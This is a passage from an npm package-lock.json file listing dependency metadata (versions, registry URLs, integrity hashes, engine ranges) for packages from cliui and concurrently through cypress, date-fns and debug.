"integrity": "sha512-n8fOixwDD6b/ObinzTrp1ZKFzbgvKZvuz/TvejnLn1aQfC6r52XEx85FmuC+3HI+JM7coBRXUvNqEU2PHVrHpg==", "dev": true, "dependencies": { "slice-ansi": "^3.0.0", "string-width": "^4.2.0" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/cli-width": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.0.tgz", "integrity": "sha1-/xnt6Kml5XkyQUewwR8PvLq+1jk=", "dev": true }, "node_modules/cliui": { "version": "7.0.4", "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.0", "wrap-ansi": "^7.0.0" } }, "node_modules/cliui/node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "engines": { "node": ">=8" } }, "node_modules/cliui/node_modules/strip-ansi": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "dependencies": { "ansi-regex": "^5.0.1" }, "engines": { "node": ">=8" } }, "node_modules/clone": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=", "engines": { "node": ">=0.8" } }, "node_modules/color-convert": { "version": "1.9.3", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", "dependencies": { "color-name": "1.1.3" } }, "node_modules/color-name": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" }, "node_modules/colorette": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.2.tgz", "integrity": "sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==", "dev": true }, "node_modules/combined-stream": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", "dependencies": { "delayed-stream": "~1.0.0" }, "engines": { "node": ">= 0.8" } }, "node_modules/commander": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", "dev": true, "engines": { "node": ">= 6" } }, "node_modules/common-tags": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.0.tgz", "integrity": "sha512-6P6g0uetGpW/sdyUy/iQQCbFF0kWVMSIVSyYz7Zgjcgh8mgw8PQzDNZeyZ5DQ2gM7LBoZPHmnjz8rUthkBG5tw==", "dev": true, "engines": { "node": ">=4.0.0" } }, "node_modules/compare-func": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/compare-func/-/compare-func-2.0.0.tgz", "integrity": "sha512-zHig5N+tPWARooBnb0Zx1MFcdfpyJrfTJ3Y5L+IFvUm8rM74hHz66z0gw0x4tijh5CorKkKUCnW82R2vmpeCRA==", "dependencies": { "array-ify": "^1.0.0", "dot-prop": "^5.1.0" } }, "node_modules/compare-versions": { "version": "4.1.4", "resolved": "https://registry.npmjs.org/compare-versions/-/compare-versions-4.1.4.tgz", "integrity": "sha512-FemMreK9xNyL8gQevsdRMrvO4lFCkQP7qbuktn1q8ndcNk1+0mz7lgE7b/sNvbhVgY4w6tMN1FDp6aADjqw2rw==" }, "node_modules/concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" }, "node_modules/concurrently": { "version": "6.5.1", "resolved": "https://registry.npmjs.org/concurrently/-/concurrently-6.5.1.tgz", "integrity": "sha512-FlSwNpGjWQfRwPLXvJ/OgysbBxPkWpiVjy1042b0U7on7S7qwwMIILRj7WTN1mTgqa582bG6NFuScOoh6Zgdag==", "dependencies": { "chalk": "^4.1.0", "date-fns": "^2.16.1", "lodash": "^4.17.21", "rxjs": "^6.6.3", "spawn-command": "^0.0.2-1", "supports-color": "^8.1.0", "tree-kill": "^1.2.2", "yargs": "^16.2.0" }, "bin": { "concurrently": "bin/concurrently.js" }, "engines": { "node": ">=10.0.0" } }, "node_modules/concurrently/node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dependencies": { "color-convert": "^2.0.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, "node_modules/concurrently/node_modules/chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/chalk/chalk?sponsor=1" } }, "node_modules/concurrently/node_modules/chalk/node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "dependencies": { "has-flag": "^4.0.0" }, "engines": { "node": ">=8" } }, "node_modules/concurrently/node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dependencies": { "color-name": "~1.1.4" }, "engines": { "node": ">=7.0.0" } }, "node_modules/concurrently/node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "node_modules/concurrently/node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "engines": { "node": ">=8" } }, "node_modules/concurrently/node_modules/rxjs": { "version": "6.6.7", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", "dependencies": { "tslib": "^1.9.0" }, "engines": { "npm": ">=2.0.0" } }, "node_modules/concurrently/node_modules/supports-color": { "version": "8.1.1", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "dependencies": { "has-flag": "^4.0.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/chalk/supports-color?sponsor=1" } }, "node_modules/consola": { "version": "2.15.3", "resolved": "https://registry.npmjs.org/consola/-/consola-2.15.3.tgz", "integrity": "sha512-9vAdYbHj6x2fLKC4+oPH0kFzY/orMZyG2Aj+kNylHxKGJ/Ed4dpNyAQYwJOdqO4zdM7XpVHmyejQDcQHrnuXbw==" }, "node_modules/console.table": { "version": "0.10.0", "resolved": "https://registry.npmjs.org/console.table/-/console.table-0.10.0.tgz", "integrity": "sha1-CRcCVYiHW+/XDPLv9L7yxuLXXQQ=", "dependencies": { "easy-table": "1.1.0" }, "engines": { "node": "> 0.10" } }, "node_modules/contains-path": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/contains-path/-/contains-path-0.1.0.tgz", "integrity": "sha1-/ozxhP9mcLa67wGp1IYaXL7EEgo=", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/conventional-changelog": { "version": "3.1.25", "resolved": "https://registry.npmjs.org/conventional-changelog/-/conventional-changelog-3.1.25.tgz", "integrity": "sha512-ryhi3fd1mKf3fSjbLXOfK2D06YwKNic1nC9mWqybBHdObPd8KJ2vjaXZfYj1U23t+V8T8n0d7gwnc9XbIdFbyQ==", "dependencies": { "conventional-changelog-angular": "^5.0.12", "conventional-changelog-atom": "^2.0.8", "conventional-changelog-codemirror": "^2.0.8", "conventional-changelog-conventionalcommits": "^4.5.0", "conventional-changelog-core": "^4.2.1", "conventional-changelog-ember": "^2.0.9", "conventional-changelog-eslint": "^3.0.9", "conventional-changelog-express": "^2.0.6", "conventional-changelog-jquery": "^3.0.11", "conventional-changelog-jshint": "^2.0.9", "conventional-changelog-preset-loader": "^2.3.4" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-angular": { "version": "5.0.13", "resolved": "https://registry.npmjs.org/conventional-changelog-angular/-/conventional-changelog-angular-5.0.13.tgz", "integrity": "sha512-i/gipMxs7s8L/QeuavPF2hLnJgH6pEZAttySB6aiQLWcX3puWDL3ACVmvBhJGxnAy52Qc15ua26BufY6KpmrVA==", "dependencies": { "compare-func": "^2.0.0", "q": "^1.5.1" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-atom": { "version": "2.0.8", "resolved": "https://registry.npmjs.org/conventional-changelog-atom/-/conventional-changelog-atom-2.0.8.tgz", "integrity": "sha512-xo6v46icsFTK3bb7dY/8m2qvc8sZemRgdqLb/bjpBsH2UyOS8rKNTgcb5025Hri6IpANPApbXMg15QLb1LJpBw==", "dependencies": { "q": "^1.5.1" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-cli": { "version": "2.2.2", "resolved": "https://registry.npmjs.org/conventional-changelog-cli/-/conventional-changelog-cli-2.2.2.tgz", "integrity": "sha512-8grMV5Jo8S0kP3yoMeJxV2P5R6VJOqK72IiSV9t/4H5r/HiRqEBQ83bYGuz4Yzfdj4bjaAEhZN/FFbsFXr5bOA==", "dependencies": { "add-stream": "^1.0.0", "conventional-changelog": "^3.1.24", "lodash": "^4.17.15", "meow": "^8.0.0", "tempfile": "^3.0.0" }, "bin": { "conventional-changelog": "cli.js" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-codemirror": { "version": "2.0.8", "resolved": "https://registry.npmjs.org/conventional-changelog-codemirror/-/conventional-changelog-codemirror-2.0.8.tgz", "integrity": "sha512-z5DAsn3uj1Vfp7po3gpt2Boc+Bdwmw2++ZHa5Ak9k0UKsYAO5mH1UBTN0qSCuJZREIhX6WU4E1p3IW2oRCNzQw==", "dependencies": { "q": "^1.5.1" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-conventionalcommits": { "version": "4.6.3", "resolved": "https://registry.npmjs.org/conventional-changelog-conventionalcommits/-/conventional-changelog-conventionalcommits-4.6.3.tgz", "integrity": "sha512-LTTQV4fwOM4oLPad317V/QNQ1FY4Hju5qeBIM1uTHbrnCE+Eg4CdRZ3gO2pUeR+tzWdp80M2j3qFFEDWVqOV4g==", "dependencies": { "compare-func": "^2.0.0", "lodash": "^4.17.15", "q": "^1.5.1" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-core": { "version": "4.2.4", "resolved": "https://registry.npmjs.org/conventional-changelog-core/-/conventional-changelog-core-4.2.4.tgz", "integrity": "sha512-gDVS+zVJHE2v4SLc6B0sLsPiloR0ygU7HaDW14aNJE1v4SlqJPILPl/aJC7YdtRE4CybBf8gDwObBvKha8Xlyg==", "dependencies": { "add-stream": "^1.0.0", "conventional-changelog-writer": "^5.0.0", "conventional-commits-parser": "^3.2.0", "dateformat": "^3.0.0", "get-pkg-repo": "^4.0.0", "git-raw-commits": "^2.0.8", "git-remote-origin-url": "^2.0.0", "git-semver-tags": "^4.1.1", "lodash": "^4.17.15", "normalize-package-data": "^3.0.0", "q": "^1.5.1", "read-pkg": "^3.0.0", "read-pkg-up": "^3.0.0", "through2": "^4.0.0" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-core/node_modules/hosted-git-info": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", "dependencies": { "lru-cache": "^6.0.0" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-core/node_modules/normalize-package-data": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.3.tgz", "integrity": "sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==", "dependencies": { "hosted-git-info": "^4.0.1", "is-core-module": "^2.5.0", "semver": "^7.3.4", "validate-npm-package-license": "^3.0.1" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-core/node_modules/read-pkg-up": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-3.0.0.tgz", "integrity": "sha512-YFzFrVvpC6frF1sz8psoHDBGF7fLPc+llq/8NB43oagqWkx8ar5zYtsTORtOjw9W2RHLpWP+zTWwBvf1bCmcSw==", "dependencies": { "find-up": "^2.0.0", "read-pkg": "^3.0.0" }, "engines": { "node": ">=4" } }, "node_modules/conventional-changelog-core/node_modules/semver": { "version": "7.5.4", "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dependencies": { "lru-cache": "^6.0.0" }, "bin": { "semver": "bin/semver.js" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-ember": { "version": "2.0.9", "resolved": "https://registry.npmjs.org/conventional-changelog-ember/-/conventional-changelog-ember-2.0.9.tgz", "integrity": "sha512-ulzIReoZEvZCBDhcNYfDIsLTHzYHc7awh+eI44ZtV5cx6LVxLlVtEmcO+2/kGIHGtw+qVabJYjdI5cJOQgXh1A==", "dependencies": { "q": "^1.5.1" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-eslint": { "version": "3.0.9", "resolved": "https://registry.npmjs.org/conventional-changelog-eslint/-/conventional-changelog-eslint-3.0.9.tgz", "integrity": "sha512-6NpUCMgU8qmWmyAMSZO5NrRd7rTgErjrm4VASam2u5jrZS0n38V7Y9CzTtLT2qwz5xEChDR4BduoWIr8TfwvXA==", "dependencies": { "q": "^1.5.1" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-express": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/conventional-changelog-express/-/conventional-changelog-express-2.0.6.tgz", "integrity": "sha512-SDez2f3iVJw6V563O3pRtNwXtQaSmEfTCaTBPCqn0oG0mfkq0rX4hHBq5P7De2MncoRixrALj3u3oQsNK+Q0pQ==", "dependencies": { "q": "^1.5.1" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-jquery": { "version": "3.0.11", "resolved": "https://registry.npmjs.org/conventional-changelog-jquery/-/conventional-changelog-jquery-3.0.11.tgz", "integrity": "sha512-x8AWz5/Td55F7+o/9LQ6cQIPwrCjfJQ5Zmfqi8thwUEKHstEn4kTIofXub7plf1xvFA2TqhZlq7fy5OmV6BOMw==", "dependencies": { "q": "^1.5.1" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-jshint": { "version": "2.0.9", "resolved": "https://registry.npmjs.org/conventional-changelog-jshint/-/conventional-changelog-jshint-2.0.9.tgz", "integrity": "sha512-wMLdaIzq6TNnMHMy31hql02OEQ8nCQfExw1SE0hYL5KvU+JCTuPaDO+7JiogGT2gJAxiUGATdtYYfh+nT+6riA==", "dependencies": { "compare-func": "^2.0.0", "q": "^1.5.1" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-preset-loader": { "version": "2.3.4", "resolved": "https://registry.npmjs.org/conventional-changelog-preset-loader/-/conventional-changelog-preset-loader-2.3.4.tgz", "integrity": "sha512-GEKRWkrSAZeTq5+YjUZOYxdHq+ci4dNwHvpaBC3+ENalzFWuCWa9EZXSuZBpkr72sMdKB+1fyDV4takK1Lf58g==", "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-writer": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/conventional-changelog-writer/-/conventional-changelog-writer-5.0.1.tgz", "integrity": "sha512-5WsuKUfxW7suLblAbFnxAcrvf6r+0b7GvNaWUwUIk0bXMnENP/PEieGKVUQrjPqwPT4o3EPAASBXiY6iHooLOQ==", "dependencies": { "conventional-commits-filter": "^2.0.7", "dateformat": "^3.0.0", "handlebars": "^4.7.7", "json-stringify-safe": "^5.0.1", "lodash": "^4.17.15", "meow": "^8.0.0", "semver": "^6.0.0", "split": "^1.0.0", "through2": "^4.0.0" }, "bin": { "conventional-changelog-writer": "cli.js" }, "engines": { "node": ">=10" } }, "node_modules/conventional-changelog-writer/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "bin": { "semver": "bin/semver.js" } }, "node_modules/conventional-commits-filter": { "version": "2.0.7", "resolved": "https://registry.npmjs.org/conventional-commits-filter/-/conventional-commits-filter-2.0.7.tgz", "integrity": "sha512-ASS9SamOP4TbCClsRHxIHXRfcGCnIoQqkvAzCSbZzTFLfcTqJVugB0agRgsEELsqaeWgsXv513eS116wnlSSPA==", "dependencies": { "lodash.ismatch": "^4.4.0", "modify-values": "^1.0.0" }, "engines": { "node": ">=10" } }, "node_modules/conventional-commits-parser": { "version": "3.2.4", "resolved": "https://registry.npmjs.org/conventional-commits-parser/-/conventional-commits-parser-3.2.4.tgz", "integrity": "sha512-nK7sAtfi+QXbxHCYfhpZsfRtaitZLIA6889kFIouLvz6repszQDgxBu7wf2WbU+Dco7sAnNCJYERCwt54WPC2Q==", "dependencies": { "is-text-path": "^1.0.1", "JSONStream": "^1.0.4", "lodash": "^4.17.15", "meow": "^8.0.0", "split2": "^3.0.0", "through2": "^4.0.0" }, "bin": { "conventional-commits-parser": "cli.js" }, "engines": { "node": ">=10" } }, "node_modules/core-util-is": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" }, "node_modules/cross-spawn": { "version": "6.0.5", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "dependencies": { "nice-try": "^1.0.4", "path-key": "^2.0.1", "semver": "^5.5.0", "shebang-command": "^1.2.0", "which": "^1.2.9" }, "engines": { "node": ">=4.8" } }, "node_modules/cypress": { "version": "9.7.0", "resolved": "https://registry.npmjs.org/cypress/-/cypress-9.7.0.tgz", "integrity": "sha512-+1EE1nuuuwIt/N1KXRR2iWHU+OiIt7H28jJDyyI4tiUftId/DrXYEwoDa5+kH2pki1zxnA0r6HrUGHV5eLbF5Q==", "dev": true, "hasInstallScript": true, "dependencies": { "@cypress/request": "^2.88.10", "@cypress/xvfb": "^1.2.4", "@types/node": "^14.14.31", "@types/sinonjs__fake-timers": "8.1.1", "@types/sizzle": "^2.3.2", "arch": "^2.2.0", "blob-util": "^2.0.2", "bluebird": "^3.7.2", "buffer": "^5.6.0", "cachedir": "^2.3.0", "chalk": "^4.1.0", "check-more-types": "^2.24.0", "cli-cursor": "^3.1.0", "cli-table3": "~0.6.1", "commander": "^5.1.0", "common-tags": "^1.8.0", "dayjs": "^1.10.4", "debug": "^4.3.2", "enquirer": "^2.3.6", "eventemitter2": "^6.4.3", "execa": "4.1.0", "executable": "^4.1.1", "extract-zip": "2.0.1", "figures": "^3.2.0", "fs-extra": "^9.1.0", "getos": "^3.2.1", "is-ci": "^3.0.0", "is-installed-globally": "~0.4.0", "lazy-ass": "^1.6.0", "listr2": "^3.8.3", "lodash": "^4.17.21", "log-symbols": "^4.0.0", "minimist": "^1.2.6", "ospath": "^1.2.2", "pretty-bytes": "^5.6.0", "proxy-from-env": "1.0.0", "request-progress": "^3.0.0", "semver": "^7.3.2", "supports-color": "^8.1.1", "tmp": "~0.2.1", "untildify": "^4.0.0", "yauzl": "^2.10.0" }, "bin": { "cypress": "bin/cypress" }, "engines": { "node": ">=12.0.0" } }, "node_modules/cypress/node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dev": true, "dependencies": { "color-convert": "^2.0.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, "node_modules/cypress/node_modules/chalk": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", "dev": true, "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/chalk/chalk?sponsor=1" } }, "node_modules/cypress/node_modules/chalk/node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "dev": true, "dependencies": { "has-flag": "^4.0.0" }, "engines": { "node": ">=8" } }, "node_modules/cypress/node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dev": true, "dependencies": { "color-name": "~1.1.4" }, "engines": { "node": ">=7.0.0" } }, "node_modules/cypress/node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, "node_modules/cypress/node_modules/debug": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", "dev": true, "dependencies": { "ms": "2.1.2" }, "engines": { "node": ">=6.0" }, "peerDependenciesMeta": { "supports-color": { "optional": true } } }, "node_modules/cypress/node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/cypress/node_modules/rimraf": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", "dev": true, "dependencies": { "glob": "^7.1.3" }, "bin": { "rimraf": "bin.js" }, "funding": { "url": "https://github.com/sponsors/isaacs" } }, "node_modules/cypress/node_modules/semver": { "version": "7.5.4", "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dev": true, "dependencies": { "lru-cache": "^6.0.0" }, "bin": { "semver": "bin/semver.js" }, "engines": { "node": ">=10" } }, "node_modules/cypress/node_modules/supports-color": { "version": "8.1.1", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "dev": true, "dependencies": { "has-flag": "^4.0.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/chalk/supports-color?sponsor=1" } }, "node_modules/cypress/node_modules/tmp": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", "dev": true, "dependencies": { "rimraf": "^3.0.0" }, "engines": { "node": ">=8.17.0" } }, "node_modules/dargs": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/dargs/-/dargs-7.0.0.tgz", "integrity": "sha512-2iy1EkLdlBzQGvbweYRFxmFath8+K7+AKB0TlhHWkNuH+TmovaMH/Wp7V7R4u7f4SnX3OgLsU9t1NI9ioDnUpg==", "engines": { "node": ">=8" } }, "node_modules/dashdash": { "version": "1.14.1", "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", "dev": true, "dependencies": { "assert-plus": "^1.0.0" }, "engines": { "node": ">=0.10" } }, "node_modules/date-fns": { "version": "2.28.0", "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.28.0.tgz", "integrity": "sha512-8d35hViGYx/QH0icHYCeLmsLmMUheMmTyV9Fcm6gvNwdw31yXXH+O85sOBJ+OLnLQMKZowvpKb6FgMIQjcpvQw==", "engines": { "node": ">=0.11" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/date-fns" } }, "node_modules/dateformat": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-3.0.3.tgz", "integrity": "sha512-jyCETtSl3VMZMWeRo7iY1FL19ges1t55hMo5yaam4Jrsm5EPL89UQkoQRyiI+Yf4k8r2ZpdngkV8hr1lIdjb3Q==", "engines": { "node": "*" } }, "node_modules/dayjs": { "version": "1.10.6", "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.10.6.tgz", "integrity": "sha512-AztC/IOW4L1Q41A86phW5Thhcrco3xuAA+YX/BLpLWWjRcTj5TOt/QImBLmCKlrF7u7k47arTnOyL6GnbG8Hvw==", "dev": true }, "node_modules/debug": { "version": "3.2.6", "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", "dev": true, "dependencies": { "ms": "^2.1.1" } }, "node_modules/debug-log": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/debug-log/-/debug-log-1.0.1.tgz", "integrity": 